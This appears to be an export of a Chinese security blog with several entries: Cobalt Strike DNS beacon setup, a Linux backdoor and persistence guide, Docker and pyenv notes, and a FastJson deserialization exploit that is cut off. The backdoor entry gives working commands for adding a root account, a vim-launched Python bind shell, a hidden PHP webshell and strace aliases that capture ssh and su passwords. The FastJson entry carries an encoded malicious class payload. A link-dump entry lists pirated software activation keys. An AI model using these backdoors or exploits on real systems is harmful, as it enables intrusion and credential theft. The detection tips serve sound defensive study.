<content type="text"><![CDATA[123原文已发布至先知平台cobaltstrike dns beacon知多少https://xz.aliyun.com/t/7488 TL;DR cs作者曾说过dns beacon是cs一重要特色,其原因在于绕过防火墙方面比较有优势,之前测试的时候有点儿问题也没有深入研究原理,在最新的cs4.0出来之后又重新测试了一下,然鹅过程是崎岖的,中间踩了几个坑记录一下。原理简介 首先我们需要申请一个域名配置好域名解析,例如这里的域名是 malware.com, vps ip地址1.2.3.4,我们需要设置dns的一个A记录,将malware.com的一个子域名指向我们的vps地址,如c2.malware.com 之后我们需要添加一个NS(name server)记录,主机记录可以是dns,记录值是c2.malware.com,NS记录就是将解析任务交由一个指定的”权威”dns服务器(在这里teamserver就是我们的”权威”dns) 梳理一下流程,当我们请求data.dns.malware.com的时候,首先通过递归查询查找到malware.com,之后发现dns.malware.com是由c2.malware.com负责解析,然后这个c2.malware又有A记录,对应ip地址是1.2.3.4,这个时候就可以和1.2.3.4通信了,注意这里需要事先在teamserver上配置dns listener(cs中listener的dns hosts设置为dns.malware.com),否则无法处理过来的dns请求。测试 原理明白测试就简单了,配置好cs的dns listener和dns解析之后可以进行一下解析测试,使用dig或nslookup命令12dig +trace dns.malware.comnslookup dns.malware.com c2.malware.com 一般会收到来自teamserver 53端口的默认回复地址0.0.0.0,但如果你的cs配置了profile,且设置了dns_idle,那就不是默认的0.0.0.0,而是你dns_idle的值,这个是cs作者用来逃避检测的一种技巧,只能说作者考虑的有点儿全面orz (之前测试的时候我一直没注意到这个点,一直不明白自己为啥总是返回8.8.8.8,简单逆了一下cobaltstrike.jar 大概看下流程也没怎么看懂,也看了teamserve的log除了几个warning也没什么特别的异常,在服务器上抓了流量也没发现异常,也排除了vps限制或者是dns厂商问题,总之各种弯路都走了…最后事实证明这些都是正常的,是自己在启动teamserver的时候自定义了profile里面的dns_idle为8.8.8.8,害!)。 在beacon上线之后,图标是个黑框,且和http和tcp beacon不一样它没有默认的睡眠60秒,你甚至可能会以为beacon死掉了,其实不然如果想要和beacon交互这个时候需要checkin命令,help checkin可以看到帮助信息,大意就是会让dns beacon强制回连你的teamserver,checkin之后就会发现图标变了,也可以进行交互了,但非常慢,有时候甚至还连不回来,这个时候需要修改一下dns模式,help mode可以看一下具体有什么不同,默认的mode dns数据传输比较慢,可以修改为mode dns-txt 这样传输会快点儿,每次传输189比特的数据,相比A记录每次传输4比特的数据快很多了。至此,踩坑完毕。。。ReferenceNew Malleable C2 OptionsCobalt Strike 3.13]]></content>
</entry>
<entry>
<title><![CDATA[2019-note]]></title>
<url>%2F2019%2F11%2F14%2F2019-note%2F</url>
<content type="text"><![CDATA[记录一些乱七八糟的 free hackbar https://github.com/Mr-xn/hackbar2.1.3 一些vmware的镜像 https://github.com/LubyRuffy/VmwareImages kali下载地址 http://dl1.thehackerplaybook.com/THP-vm.zip 账号密码:root toor 吾爱破解论坛【破解专用虚拟机2.0】https://www.52pojie.cn/thread-661779-1-1.html reverse的一些工具 https://down.52pojie.cn/Tools/ office 2010的下载链接:ed2k://|file|en_office_professional_plus_2010_x64_515489.exe|753387136|5BFA4237E2999DA93DB60FBC6131C12D|/,以及激活码:6QFDX-PYH2G-PPYFD-C7RJM-BBKQ8 linux ubuntu Forensics https://ftp.nluug.nl/os/Linux/distr/tsurugi/01.Tsurugi_Linux_%5bLAB%5d/TSURUGI_LINUX_2019.1.ova tsurugi tsurugi DEF CON 26 - Attacking & Auditing Docker Containers Workshop. environmentComplete detailed repository at https://github.com/appsecco/defcon-26-workshop-attacking-and-auditing-docker-containers vmware https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.1-15018445.exe 激活码1234567891011ZC10K-8EF57-084QZ-VXYXE-ZF2XFUF71K-2TW5J-M88QZ-8WMNT-WKUY4AZ7MK-44Y1J-H819Z-WMYNC-N7ATFCU702-DRD1M-H89GP-JFW5E-YL8X6YY5EA-00XDJ-480RP-35QQV-XY8F6VA510-23F57-M85PY-7FN7C-MCRG0]]></content>
</entry>
<entry>
<title><![CDATA[网络安全平台上线啦!!!]]></title>
<url>%2F2019%2F09%2F05%2F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%B9%B3%E5%8F%B0%E4%B8%8A%E7%BA%BF%E5%95%A6%EF%BC%81%EF%BC%81%EF%BC%81%2F</url>
<content type="text"><![CDATA[网络安全平台上线啦 大家好,网络安全平台上线啦,介四里没有挽过的船新版本,挤需体验三番钟,里造会干我一样,爱象戒宽油系,是兄弟就来pwn我(pwnme.cn),大家来玩叭~ 记住我们的网址是https://www.pwnme.cn/ 平台有时候可能会关掉,如有需求请联系我开启 :)]]></content>
</entry>
<entry>
<title><![CDATA[linux常见backdoor及排查技术]]></title>
<url>%2F2019%2F02%2F16%2Flinux%E5%B8%B8%E8%A7%81backdoor%E5%8F%8A%E6%8E%92%E6%9F%A5%E6%8A%80%E6%9C%AF%2F</url>
<content type="text"><![CDATA[12345原文已发布至先知平台linux常见backdoor及排查技术https://xz.aliyun.com/t/4090windows常见backdoor、权限维持方法及排查技术https://xz.aliyun.com/t/4842 TL;DR 最近遇到一些和后门相关的技术,所以就把之前的linux backdoor相关笔记重新整理和学习了一下。在这里做一下记录,后续有时间整理一下windows backdoor方面的技术。 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见技巧以及公开的工具进行剖析介绍。 现在有一些公司在发现入侵之后直接重装系统,那么基本所有的后门就无法发挥权限维持的作用了,但作为一个安全从业人员还是需要对一些后门有一个基本的了解。常见技巧添加root权限后门用户 /etc/passwd这个文件包含了系统所有的用户名、ID、登录的shell等信息,这个文件是以分号分隔开的,依次是登录名、密码、用户ID、组ID,用户名、用户的根目录以及登录的shell,其中密码处可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用户id为0代表用户会是root的权限,这个时候我们的目标就是在这个文件中追加一条,一个带有密文且id为0的账号。 关于密码加密我们可以使用下面的命令 123#密码M0rkxxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). "\n"'AAhmo1jgYI0HE 所以我们最终想要在passwd文件中的条目是这个样子的 1backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash append the backdoor to passwd file 1echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd 注意当我们拥有一个命令执行漏洞或写文件漏洞且为root权限,这个时候就可以通过这种方法直接添加用户。 优点:简单 缺点:易被检测到 排查:检查/etc/passwd文件是否有异常nologin后门 目前在其它的文章中还没有看到过,自己想出来的,就是将nologin程序替换为bash,很多时候应急人员查看passwd,发现账户对应的shell为nologin认为就是系统的账号且这个账号是不能远程登陆的或者是登陆之后没有shell的,可能就认为这个账号是安全的,所以我们就可以将nologin设置成bash,并且修改这个账号的密码,如系统自带的backup账号就是一个很好用账户 优点:简单 缺点:暂无 排查:检查nologin是否被替换认证公钥后门 打过redis未授权漏洞的应该都知道里面有一种利用方式就是向服务器authoriezd_keys文件里面写入自己电脑的公钥,这个时候就可以实现免密码登陆。 优点:简单 缺点:不太隐蔽 排查:检查每个用户根目录下面authorized_keys文件是否添加了异常了的公钥。 vim后门12#enter the mal script directory 、execute the script and then remove the scriptcd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py 此方法适用于安装了vim且安装了python扩展(绝大部分默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如使用python监听9999端口。 1234567891011121314#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.htmlfrom socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True) 优点:通过查看/proc/pid/cmdline查看不到具体执行了什么命令或恶意脚本。 缺点:仍可以看到有vim进程 排查:检测对应vim进程号虚拟目录的map文件是否有python字眼。 参考文章Weapons of Text Destruction.python内存端口监听参考epinna’s hacked up in-memory Python bindshell. 注意在原脚本基础上可以加上os.setuid(0),并给python加上suid可以得到root权限的shell ref,此外如果有web服务器,可以在需要的时候才开启端口监听防止端口一直监听被发现,比较stealthy,可参考HTTP backdoor using POSIX file capabilities and PHP终端解析\r导致的问题1echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||< ';?>" >/var/www/html/test.php 优点:通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马。 缺点:易被检测,只是通过终端命令查看的时候看不到恶意代码,而通过其它读文件操作或者通过vim编辑的时候仍可以查看恶意代码。 排查:使用编辑器或者一般的webshell扫描工具即可检测。一些命令导致截断的问题 在使用ps进行进程查看的时候,不知道很多人会不会遇到这种问题,命令很长被截断的问题,终端显示可能美观,会截断较长的命令,比如在使用docker ps -a查看container的时候,可能你的command列会显示不全,那么使用docker ps -a –no-trunc让其显示完全。同样在使用ps命令查看进程的时候,也存在这种问题。可以在其填充大量的空格进行截断,那么就可达到“进程隐藏”的效果。 其中使用了xhide工具进行进程名的修改。 优点:简单 缺点:易被检测到 排查:通过ps -aux|grep 可疑进程的pid 即可显示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令进行查看。strace记录ssh登录密码1234ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 ssh' 也可记录 su密码 su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ -e read,write,connect -s2048 su' 优点:改动较小 缺点:易被检测到 排查:通过排查shell的配置文件或者alias命令即可发现,例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。(注意bash_profile是在登录shell执行的,bashrc是在非登录shell执行,即如果你只是想每次在登录的时候让它去执行,这个时候你可以把你的命令写在.bash_profile,如果你想每次打开一个新的终端的时候都去执行,那么应该把命令写在.bashrc中)ssh连接监控 这个后门可以用来监控连接到服务器上的客户端所进行的所有操作,也可进行记录和重放,但是需要当前有用户通过ssh登录详细见SSHPry2 优点:简单且类似录屏清晰记录操作过程 缺点:没有做进程隐藏,如果能够结合一些进程隐藏的技巧将会很好用。 排查:主要是进程排查常见sshd后门 一种是建立sshd的软连接方法,开启其它的端口例如 12ln -sf /usr/sbin/sshd /home/su/home/su -oport=2222 优点:简单 缺点:易被检测到 排查:使用netstat -antlp查看可疑端口,然后ls -l 可执行文件即可。 另外一种就是通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。 优点:隐蔽性较好 缺点:暂无 排查:这种sshd后门一般可能会有一定的特征,可以通过strings sshd |egrep ‘\d{1,3}.\d{1,3}.‘或者通过strace 查看是否有可疑的写文件操作。 此外还有一种给openssh打补丁的方式添加ssh后门的方法,具体见利用Openssh后门 劫持root密码定时任务和开机启动项 一般的挖矿木马喜欢设置定时任务来进行驻留或者进行分时段的挖矿。 排查:一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。预加载型动态链接库后门 ld.so.preload 可能有些人不太了解,简单说一下,就是我们在linux下执行某个可执行文件之前,系统会预先加载用户定义的动态链接库的一种技术,这个技术可以重写系统的库函数,导致发生Hijack。 如上图所示,strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式),如果我们将我们事先写好的恶意so文件位置写入ld.so.preload文件,这时就会达到劫持的效果。 比较好用的工具是Vegile和cub3Vegilecub3,这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。 更多参考:Linux文件系统扩展属性 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门,通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,此方法更加隐蔽,这个方法的较成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany警惕利用Linux预加载型恶意动态链接库的后门 优点:可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言,隐藏性较好,相对于内核模块rootkit来说,兼容性更好,编写难道低 缺点:暂无 排查:通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意:在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持(例如通过预加载型动态链接库后门),导致系统命令执行不正常,这个时候可以下载busybox。下载编译好的对应平台版本的busybox,或者下载源码进行编译通过U盘拷贝到系统上,因为busybox是静态编译的,不依赖于系统的动态链接库,busybox的使用类似如下 busybox ls,busybox ps -a。进程注入 使用ptrace向进程中注入恶意so文件工具linux-inject,github地址 优点:隐藏性好 缺点:编写难度高,可能会有兼容性、被注入进程down掉等问题 排查:很难内核级rootkit 内核级的rootkit也很多,这里简单推荐一个Diamorphinegithub地址 优点:隐藏性较好 缺点:编写难度有点儿高 排查:可以通过unhide等工具进行排查 此外还有Reptile工具 awesome-linux-rootkits软件后门 除了系统后门,还有针对一些常用软件的后门,比如apache服务器后门 A Backdoor For Apache HTTP Server Written in C 从零开始打造一款简单的apache module后门 apache2_BackdoorModOther 以上介绍了几种backdoor的技巧,只是抛砖引玉,希望有更多人分享你的linux backdoor技巧、Write your own backdoor and MAKE BACKDOOR GREAT AGAIN : )ReferenceATT&CK PersistenceTechniques for building a hidden backdoorlinux rootkitshttps://github.com/mfontanini/Programs-Scripts/ReptileicmpshDiamorphineHiddenWall]]></content>
</entry>
<entry>
<title><![CDATA[笔记之docker的使用]]></title>
<url>%2F2018%2F09%2F26%2F%E7%AC%94%E8%AE%B0%E4%B9%8Bdocker%E7%9A%84%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[TL;DR 好久没有更新了,主要比较忙:( 以前只是简单的使用,前段时间相对较”近距离”接触了下docker,发现用来搭建漏洞环境真的很方便。尤其是Dockerfile和docker-compose分别用来构建定制镜像和管理多个容器的功能让我非常惊讶,当然期间也踩了一些坑,把这些坑记录一下。简述 什么是docker,docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。 如上图所示计算机的发展经历了从物理机到虚拟机的过程,最后出现了共享底层OS的容器。 docker里面有两个概念需要稍微理解一下,Image(镜像)和Container(容器),他们两个的关系就像是面向对象程序设计中的 类 和 实例 一样,镜像是静态的定义,容器是镜像运行时的实体。 Docker在Mac上的基本安装常用命令12345678#镜像操作常用命令docker images #查看当前的镜像docker search xxx #查找xxx镜像docker push/pull xxx #获取xxx镜像 默认是latestdocker inspect image #查看镜像的相关信息 主要要加上image的TAGdocker commit #更新镜像 –m:提交的描述信息 –a :指定镜像作者docker build #从零开始构建一个新的镜像,需要创建Dockerfile文件来包含一组指令来告诉docker如何构建我们的镜像。docker rmi $(docker images -q) #删除所有镜像 123456789101112容器操作常用命令docker ps -a #查看所有容器(包括已停止的),--no-trunc 参数docker run –it -name centos-test centos /bin/bash #启动容器docker attach/exec #进入容器,推荐使用exec,因为此命令会退出容器终端,但不会导致容器的停止。docker inspect #查看docker的底层信息,记录容器的配置和状态等。docker start/stop/rm containerid #开始/停止/删除某个容器docker stop $(docker ps -aq) #停止所有容器Docker rm containerid #删除容器docker logs #查看容器内部的标准输出docker top #查看容器内部运行的进程docker-compose build --no-cache #每次构建的时候不使用cache 或者在写dockerfile的时候添加或者修改一条无关紧要的命令,这样也会强制build,而不使用cachedocker stats #查看docker容器占用资源情况 以上是常用的命令,还有就是跟着Docker — 从入门到实践基本操作一下没什么问题。 Tips 之Dockerfile和docker-compose docker-compose helloworld版 12345678910dockerfileFROM centos:centos7CMD ["/sbin/init"] //注意这里这个一定要有,否则docker-compose up -d 的时候会马上退出docker-compose.ymlversion: '2'services: helloworld: build: . container_name: helloworld 在一个docker-compose可以开启多个相同image的service,例如 123456789version: '2'services: c1: image: centos:7 command: /usr/sbin/init c2: image: centos:7 command: /usr/sbin/init docker-compose.yml 中version的释义就是compose的高版本需要高版本的docker engine支持,docker engine版本可以通过docker version命令查看。具体的对版本表见下图 如果想要在docker中运行多个后台程序,比如apache的web服务和ssh的服务,可以使用supervisord。更多可以参考链接 在由phith0n维护的vulhub项目里有很多Dockerfile,覆盖了绝大部分常用应用,非常方便修改和使用。且设计比较合理,web代码基本都是通过挂载www目录的方式进行部署,调试和部署起来非常的方便,基本就是docker-compose bulid 和docker-compose up -d 两条命令的事儿。 把宿主机的一个目录挂载到容器中,当访问容器中的这个目录时,出现如下问题: ls: cannot open directory .: Permission denied 这个问题可以参考文章docker挂载目录失败/权限拒绝 解决方案 有时候docker-compose up -d 的时候 容器马上exit,这个时候一般是启动出现了问题,可以通过 docker-compose up 或者docker-compose —verbose up通过查看详细的输出信息定位具体是哪里出问题了。 在向docker中放shell脚本的时候 需要在外部添加可执行权限。 在开启容器的时候如果需要执行多个命令,而且多个命令如果是”阻塞”的,可以在docker-compose.yml 文件中写入ENTRYPOINT 例如[“/usr/local/bin/docker-entrypoint.sh”],这样在容器启动的时候会自动的运行docker-entrypoint.sh shell脚本里面可以写你想要其运行的多条命令。 有些镜像或者外部的资源下载比较的慢,这个时候使用proxychains给终端挂上代理,或者把资源下载到本地,在Dockerfile里面使用COPY命令进行本地拷贝。再有就是有时候pip安装的python库的时候下载失败时候可以使用 pip install -r $d/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ 来提高下载速度 在centos7可能会遇到Docker error IPv4 forwarding is disabled的问题,参考链接 开始的时候不建议使用最精简的linux系统,不然你会发现怎么连个vi命令都没有,什么都还得需要 RUN 安装,比较麻烦。centos7 最小化安装之后,默认是没有 ifconfig,netstat等命令,可以直接使用 yum -y install net-tools 安装即可。 有时候在使用docker-compose up -d 报错 network not found,网络找不见,这个时候可以加参数 –force-recreate 即 docker-compose up -d –force-recreate 有时候mysql就是起不来,这个时候 使用docker volume list查看 然后删除数据就可以了,其它情况也是 全部删除,参考链接,docker volume rm 就可以删除对应的数据库了。 pull回来的镜像如果想修改其中的用户密码,可以在Dockerfile中写如下的命令 RUN echo “root:Docker!” | chpasswd或者RUN echo “Docker!” | passwd –stdin root 即修改root的密码为Docker!。stackoverflow 在此记录一下,不知道是不是docker的一个bug,当我在虚拟机里面创建一个文件,并且通过chattr +i 赋予文件不可修改属性的时候,当你关闭容器,一般容器并不会主动保存,除非你主动打包成镜像,所以它会去删除这个文件以保持“镜像不变性质”(暂且先这么叫吧),这个时候会去删除这个文件,因为设置了不可修改属性,这个时候就会报错,如下图所示. docker-compose时候报错 ERROR: invalid reference format,有可能是路径中包含中文所导致的 docker-compose时候报错 ERROR:could not find an available,non-overlapping IPv4 address pool among the defaults to assign to the netowrk,可能是你创建的网络达到了最大限制,可以使用docker network prune命令去删除一些不用的网络。 通过容器提交镜像(docker commit)以及推送镜像(docker push)笔记 docker push时即使账户密码正确也显示 [denied: requested access to the resource is denied]Finally 最后还是多写或多修改几个Dockerfile和docker-compose.yml实际去体验一下,你会发现用他们来搭建漏洞环境very棒 ;P 当然docker的应用不仅仅是搭建漏洞环境,技术也不仅仅有Dockerfile、docker-compose,还有更多与docker相关优秀的开源项目像是Kubernetes、CoreOS、Etcd项目等。]]></content>
</entry>
<entry>
<title><![CDATA[python虚拟环境安装和使用]]></title>
<url>%2F2018%2F07%2F15%2Fpython%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85%E5%92%8C%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[TL;DR Mac自带的python环境在有时会有第三方包冲突、python2和python3之间切换不方便以及第三方包安装需要root权限可能导致的安全问题等,所有就有了python虚拟环境,这里主要记录一下笔者在安装和使用pyenv以及virtualenv过程。pyenv安装和使用 推荐使用brew安装pyenv 12345678910# Install Homebrew/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" # Install pyenvbrew install pyenv # Add pyenv initializer to shell startup script# ZSH USERS: use ~/.zshrc instead of ~/.bash_profile# LINUX USERS: use ~/.bashrc instead of ~/.bash_profileecho 'eval "$(pyenv init -)"' >> ~/.bash_profile # Restart your shell for changes to take effectexec $SHELL 使用pyenv install –list 查看可用的python版本 使用pyenv install 3.6.* 安装特定版本的python(建议安装个python2 和python3的环境即可) 查看已安装的版本 pyenv versions python环境切换 使用pyenv global xxx 或者pyenv local ,其中前者是全局的设置,而后者是针对当前项目python环境的设置,还可以使用pyenv shell xxx 设置当前shell的python版本,退出shell后失效。 在进行版本切换的时候,可能会出现AttributeError: module ‘enum’ has no attribute ‘IntFlag’或者raise ImportError(‘This package should not be accessible on Python 3. ‘ImportError: This package should not be accessible on Python 3. Either you are trying to run from the python-future src folder or your installation of python-future is corrupted.这个错误,这个时候使用unset PYTHONPATH可以解决问题。配置pycharm 现实中我们往往可能需要使用pycharm这种IDE进行python的开发,那么如何在pycharm中进行python版本的自由切换呢? 其实pycharm 和idea都属于 jetbrains家族产品,使用上面很是类似。 打开一个项目,选择file-> Default Settings-> Python Interpreter-> show ALL -> +号 -> Existing environment -> 进行下拉框的选择就OK 之后就可以通过添加完的Python Interpreter选择对应版本的Interpreter进行解释执行了。virtualenv的安装和使用 pyenv用于不同python版本之间的切换,还有一种场景就是在确定了python版本之后,需要第三方包不同版本之间的切换,比如不同版本的django版本之间的版本切换,于是就有了virutalenv。 安装(还是brew) 12345678910# Install Homebrew/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"# Install pyenv-virtualenvbrew install pyenv-virtualenv# Add pyenv-virtualenv initializer to shell startup script# ZSH USERS: use ~/.zshrc instead of ~/.bash_profile# LINUX USERS: use ~/.bashrc instead of ~/.bash_profileecho 'eval "$(pyenv virtualenv-init -)"' >> ~/.bash_profile# Restart your shell for changes to take effectexec $SHELL 创建一个虚拟环境 例如 pyenv virtualenv 3.6.1 django-1.10 激活这个虚拟环境 例如 pyenv activate django-1.10 安装对应版本的第三方包 pip install django==1.10 如上图所示,就相当于进一步定制化了环境(python2.7.14 and django==1.10)。 此外和上面配置pycharm一样对pycharm进行相应开发环境的配置。 退出当前的虚拟环境 pyenv deactivate xxxpython常见问题 windows下pip安装速度慢解决方法 可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple 例如:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyspider,这样就会从清华这边的镜像去安装pyspider库。ReferencePython Development on macOS with pyenv-virtualenv Python多版本管理器-pyenv 介绍及部署记录]]></content>
</entry>
<entry>
<title><![CDATA[FastJson反序列化漏洞(续)]]></title>
<url>%2F2018%2F06%2F18%2FFastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)%2F</url>
<content type="text"><![CDATA[TL;DR 之前写了篇fastjson反序列化漏洞的分析文章,见Fastjson反序列化漏洞研究,最近读了这篇文章DefineClass在Java反序列化当中的利用深受启发,学习到了另外的利用姿势.本来很早就应该填的坑,因为一些其它事情导致现在才更 :( 作者文章写的很好,只是有些点以及代码没有完全给出来,所以需要自己去测试。details 在上面的文章中作者是利用了tomcat-dbcp.jar组件中org.apache.tomcat.dbcp.dbcp.BasicDataSource类的Class.forName()方法,关于Class.forName执行代码的方法,有两种(作者也在文章中介绍了),这个Class.forName是关键,它可以设置classLoader和classname,从而加载.class文件,恶意的.class中静态代码块儿static{}会执行。下面给出文章中一些缺少的代码。关于ClassLoader的机制可以参考@frozenme大佬的文章(很棒):P12345678910111213141516package FastJsonDemo;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class BCELencode { public static void main(String []args) throws Exception{ //There also should be compiled class file,not java file Path path = Paths.get("/Users/m0rk/Desktop/tmp/untitled/src/FastJsonDemo/evil.class"); byte[] data = Files.readAllBytes(path); String s = Utility.encode(data,true); System.out.print(s); }} 这里用于将evil.class文件进行BCEL编码。 在作者的poc的基础上精简了一下,直接读取并反序列化外部json文件触发漏洞。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849package FastJsonDemo;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.util.ClassLoader;import jdk.internal.dynalink.support.TypeUtilities;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.FileInputStream;import java.io.BufferedReader;public class FastJsonPwn { public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException { InputStream is = new FileInputStream(filePath); String line; // 用来保存每行读取的内容 BufferedReader reader = new BufferedReader(new InputStreamReader(is)); line = reader.readLine(); // 读取第一行 while (line != null) { // 如果 line 为空说明读完了 buffer.append(line); // 将读到的内容添加到 buffer 中 buffer.append("\n"); // 添加换行符 line = reader.readLine(); // 读取下一行 } reader.close(); is.close(); } public static void main(String[] args) throws Exception{ String s = "java.lang.Thread"; //long hash = TypeUtilities.fnv1a_64(s); //Class.forName("FastJsonDemo.Run");// String classname = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A";// ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();// Class.forName(classname, true, cls); //note project must contain dbcp external lib// String poc = " {\n" +// "\t\t\t\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +// "\t\t\t\"driverClassLoader\": {\n" +// "\t\t\t\t\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +// "\t\t\t},\n" +// "\t\t\t\"driverClassName\": 